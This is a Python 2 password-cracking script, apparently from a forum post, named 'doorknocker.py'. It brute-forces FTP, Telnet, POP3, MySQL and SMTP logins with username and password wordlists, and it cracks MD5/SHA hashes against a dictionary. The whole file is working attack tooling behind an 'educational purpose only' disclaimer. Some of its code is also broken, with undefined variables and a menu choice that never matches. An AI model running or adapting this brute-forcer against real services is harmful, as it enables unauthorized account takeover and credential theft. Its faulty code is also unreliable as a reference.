Код:
        #!/usr/bin/python
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
# Intended for authorized Web Application Pen Testing!
# You need to download the MySQLdb API from http://sourceforge.net/projects/mysql-python 
# save all users list at users.txt and passwords list at pass.txt in the same directory

import sys ,time , os,string,ftplib,telnetlib,poplib,hashlib,smtplib, socket
from smtplib import SMTP
from ftplib import FTP
import MySQLdb

if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
   SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
   SysCls = 'cls'
else:
   SysCls = 'unknown'

os.system(SysCls)

print "\n|---------------------------------------------------------------|"
print "| beenudel1986[@]gmail[dot]com                                  |"
print "|   10/2008      doorknocker.py                                 |"
print "|   Do Visit     www.BeenuArora.com      &        darkc0de.com  |"
print "|   Save Userlist at users.txt   and Password list at pass.txt  |"
print "|---------------------------------------------------------------|\n"


print "\n\t Enter the D00r\n"       
print "\n\t\t1. FTP"
print "\n\t\t2. POP3"
print "\n\t\t3. Telnet"
print "\n\t\t4. MySql"
print "\n\t\t5. SMTP"
print "\n\t\t6. Hash"
door=raw_input("\n Enter the Name: ")
door=string.upper(door)
if door=='FTP':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()

      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your for filename users.txt\n"
           sys.exit(1)

      try:
           words = open('pass.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your wordlist pass.txt\n"
           sys.exit(1)
      
      print "[+] Server:",server
      print "[+] User Loaded:",len(users)
      print "[+] Words Loaded:",len(words),"\n"
      try:
         f = FTP(server)
         print "[+] Response:",f.getwelcome()
      except (ftplib.all_errors):
         pass

      try:
         print "\n[+] Checking for anonymous login\n"
         ftp = FTP(server)
         ftp.login()
         ftp.retrlines('LIST')
         print "\t\nAnonymous login successful!!!\n"
         ftp.quit()
      except (ftplib.all_errors): 
         print "\tAnonymous login unsuccessful\n"
      for user in users:

         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               ftp = FTP(server)
               ftp.login(user[:-1], word[:-1])
               ftp.retrlines('LIST')
               print "\t\nLogin successful:",word, user
               ftp.quit()
               sys.exit(2)
            except (ftplib.all_errors), msg: 
               #print "An error occurred:", msg
               pass

if door=='TELNET':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()
      
      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your userlist at users.txt\n"
           sys.exit(1)
      try:
         words = open('pass.txt', "r").readlines()
      except(IOError): 
         print "Error: Check your wordlist pass.txt\n"
         sys.exit(1)
         
      print "[+] Server:",server
      print "[+] Users Loaded:",len(users)
      print "[+] Words Loaded:",len(words),"\n"
      for user in users:
         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               tn = telnetlib.Telnet(server)
               tn.read_until("login: ")
               tn.write(user + "\n")
               if password:
                  tn.read_until("Password: ")
                  tn.write(word[:-1] + "\n")
               tn.write("ls\n")
               tn.write("exit\n")
               print tn.read_all()
               print "\t\nLogin successful:",word, user
               tn.close()
               sys.exit(2)
            except: 
               pass
if door=='POP':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()
      
      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your wordlist users.txt\n"
           sys.exit(1)

      try:
         words = open('pass.txt', "r").readlines()
      except(IOError): 
         print "Error: Check your password file pass.txt\n"
         sys.exit(1)
         
      print "[+] Server:",server
      print "[+] User Loaded:",len(users)
      print "[+] Words Loaded:",len(words),"\n"
      for user in users:
         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               pop = poplib.POP3(server)
               pop.user(user)
               pop.pass_(word[:-1])
               print "\t\nLogin successful:",word, user
               print pop.stat()
               pop.quit()
               sys.exit(2)
            except (poplib.error_proto), msg: 
               #print "An error occurred:", msg
               pass

if door=='MYSQL':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()
      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your user wordlist users.txt\n"
           sys.exit(1)

      print '\n\t Enter the Port number'
      port=raw_input()
      database=raw_input("\n\t Enter the database\n")
      try:
         words = open('pass.txt', "r").readlines()
      except(IOError): 
         print "Error: Check your password wordlist pass.txt\n"
         sys.exit(1)
         
      print "[+] Server:",server
      print "[+] Users Loaded:",len(users),"\n"
      print "[+] Words Loaded:",len(words),"\n"
      for user in users:

         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               db=MySQLdb.connect(host=server,user=user,passwd=word,db=database,port=int(port))
               print "\t\nLogin successful:",value, user
               db.close()
               sys.exit(2)
            except(MySQLdb.Error), msg: 
               #print "An error occurred:", msg
               pass
if door=='SMTP':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()
      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your user wordlist users.txt\n"
           sys.exit(1)

      try:
         words = open('pass.txt', "r").readlines()
      except(IOError): 
         print "Error: Check your password wordlist pass.txt\n"
         sys.exit(1)
         
      print "[+] Server:",server
      print "[+] Users Loaded:",len(users),"\n"
      print "[+] Words Loaded:",len(words),"\n"
      for user in users:
         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               smtp = smtplib.SMTP(server)
               smtp.login(user, word)
               print "\t\nLogin successful:",user, word
               smtp.quit()
               sys.exit(2)
            except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
               #print "An error occurred:", msg
               pass

if door=='HASH':
      print "\n\t Enter the algorithm (MD5, SHA1, SHA256, SHA384, SHA512) to be cracked"
      algo=raw_input()
      print "\n\t Enter the Hash to be cracked"
      pw=raw_input()
      print "\n\t Enter the name of the Dictionary List"
      wordlist=raw_input()
      try:
           words = open(wordlist, "r")
      except(IOError): 
           print "Error: Check your wordlist path\n"
           sys.exit(1)
      words = words.readlines()
      print "\n",len(words),"words loaded..."
      file=open('cracked.txt','a')
      if algo == 'md5':
         for word in words:
            hash = hashlib.md5(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")
      if algo == 'sha1':
         for word in words:
            hash = hashlib.sha1(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")
      if algo == 'sha256':
         for word in words:
            hash = hashlib.sha256(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")

      if algo == 'sha384':
         for word in words:
            hash = hashlib.sha384(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")
   
   
      if algo == 'sha512':
         for word in words:
            hash = hashlib.sha512(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")

      
      

else:
   print "\n Sorry Wrong choice Entered . Exiting.."
   sys.exit(0)